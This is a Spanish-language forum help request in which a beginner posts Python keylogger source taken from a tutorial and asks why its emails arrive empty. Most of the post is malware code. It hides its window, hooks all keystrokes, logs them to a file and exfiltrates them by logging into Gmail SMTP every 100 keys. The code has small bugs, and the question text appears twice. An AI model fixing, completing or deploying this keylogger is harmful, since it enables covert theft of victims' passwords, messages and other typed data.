Estoy empezando en el mundo de Python y he decidido seguir este pequeño tutorial para hacer un simple Keylogger que envía las capturas al correo electrónico: http://www.pythondiario.com/2017/05/como-crear-un-keylogger-remoto-con.html
El problema viene cuando al alcanzar los caracteres establecidos para que se envíe el log a mi correo, llega un correo vacío, sin asunto, solo con la palabra "capturado"
Adjunto código:
Del código original de la web, he modificado 'elif' por 'if' pues de lo contrario ni me envía el mensaje, '(capturado)' por '("capturado")', y he reducido el envío de fichero a la pulsación de 100 caracteres. Bueno y he cambiado el correo y la contraseña por motivos evidentes. ¿Sabéis que está fallando? Mil gracias de antemano
El problema viene cuando al alcanzar los caracteres establecidos para que se envíe el log a mi correo, llega un correo vacío, sin asunto, solo con la palabra "capturado"
Adjunto código:
Código (python) [Seleccionar]
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import win32console
import win32gui
import pythoncom,pyHook
import time
import smtplib
import os
import sys
# www.pythondiario.com
########################################################
# CONFIGURAR VARIABLES
########################################################
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
#crea el archivo .txt
f=open("c:\output.txt","w+")
f.close
#Variable que cuenta las tecas presionadas
count = 0
########################################################
# FUNCIONES
########################################################
def send_email(message):
try:
# Datos
fromaddr = 'correo@gmail.com'
toaddrs = 'correo@gmail.com'
username = 'correo@gmail.com'
password = 'contraseña'
# Enviando el correo
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, message)
server.quit()
except:
pass
def OnKeyboardEvent(event):
global count
count += 1
#presiona CTRL+E para salir
if event.Ascii==5:
sys.exit(0)
if event.Ascii !=0 or 8:
#abre output.txt
f=open('c:\output.txt','r+')
buffer=f.read()
f.close()
if len(buffer)==1:
send_email("Arranco...")
if count ==100:
#Envia los ultimos 500 caracteres
capturado = buffer[-100:].replace("\n"," ")
send_email("capturado")
count = 0
#abre output.txt escribe y suma nuevas pulsaciones
f=open('c:\output.txt','w')
keylogs=chr(event.Ascii)
#si se presiona ENTER
if event.Ascii==13:
keylogs='\n'
#si se preciona ESPACIO
if event.Ascii==32:
keylogs=''
buffer+=keylogs
f.write(buffer)
f.close()
# crea el objeto hook manager
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
Del código original de la web, he modificado 'elif' por 'if' pues de lo contrario ni me envía el mensaje, '(capturado)' por '("capturado")', y he reducido el envío de fichero a la pulsación de 100 caracteres. Bueno y he cambiado el correo y la contraseña por motivos evidentes. ¿Sabéis que está fallando? Mil gracias de antemano